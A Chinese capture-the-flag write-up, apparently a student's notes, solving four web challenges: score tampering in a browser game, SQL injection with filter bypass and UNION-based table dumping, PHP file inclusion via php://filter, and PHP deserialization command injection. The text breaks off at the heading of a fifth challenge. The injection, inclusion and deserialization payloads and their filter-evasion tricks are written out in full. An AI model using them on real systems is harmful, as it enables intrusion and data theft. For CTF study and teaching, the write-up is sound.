1.游戏高手

进入环境,一个小游戏,说10000分给flag

直接死掉,看有没有数据包

弹窗出游戏分数,但没有抓取到数据包,说明前端校验分数

发现score分数要超过100000,控制台直接var gameScore=1111111111111;

然后停止游戏

gameover();

最后得到了flag

2.ez_sql

进入环境,发现id可能存在sql注入

然后payload=1' or 1=1 --+

发现有waf,尝试大小写绕过关键字

payload=1' Or 1=1 --+

成功

先看看有多少列

payload=1' Order By 1--+

当增大到6时不再正常回显,说明有5列

查找回显点:

payload=1' Union Select database(),2,3,4,5 --+

发现成功回显

第五列也可以,就用第五列来进行注入回显

数据库:ctf

接下来查表

payload=1' UNION SELECT 1,2,3,4,GROUP_CONCAT(table_name) From INFORMATION_SCHEMA.TABLES Where TABLE_SCHEMA='ctf' --+

发现表here_is_flag和grades

接下来查字段(先查here_is_flag)表

payload=1' UNION SELECT 1,2,3,4,GROUP_CONCAT(column_name) From INFORMATION_SCHEMA.COLUMNS Where TABLE_NAME='here_is_flag' --+

发现flag字段

查看字段

payload=1' UNION SELECT 1,2,3,4,GROUP_CONCAT(flag) From ctf.here_is_flag --+

成功拿到flag

3.include 0。0

进入环境,代码审计

发现时文件包含,用php伪协议读取

一般base64读取,但这里过滤base,所以用其他形式读取

payload:?file=php://filter/convert.iconv.utf8.utf16/resource=flag.php

最后拿到flag

4.Unserialize?

进入环境,代码审计,是反序列化

比较简单,直接给代码

<?php
class evil {
    private $cmd='ls /';

}

$a=new evil();
$obj=serialize($a);
echo ($obj);
?>

payload: unser=O:4:"evil":1:{s:9:"%00evil%00cmd";s:4:"ls /";}

注:private会自动添加两空格,记得手动加上

然后继续查看th1s_1s_fffflllll4444aaaggggg

payload=unser=O:4:"evil":1:{s:9:"%00evil%00cmd";s:35:"ca\t /th1s_1s_fffflllll4444aaaggggg";}

注:反引号可绕过cat过滤,或者双引号,单引号,都可以

最后得到flag

5.Upload again!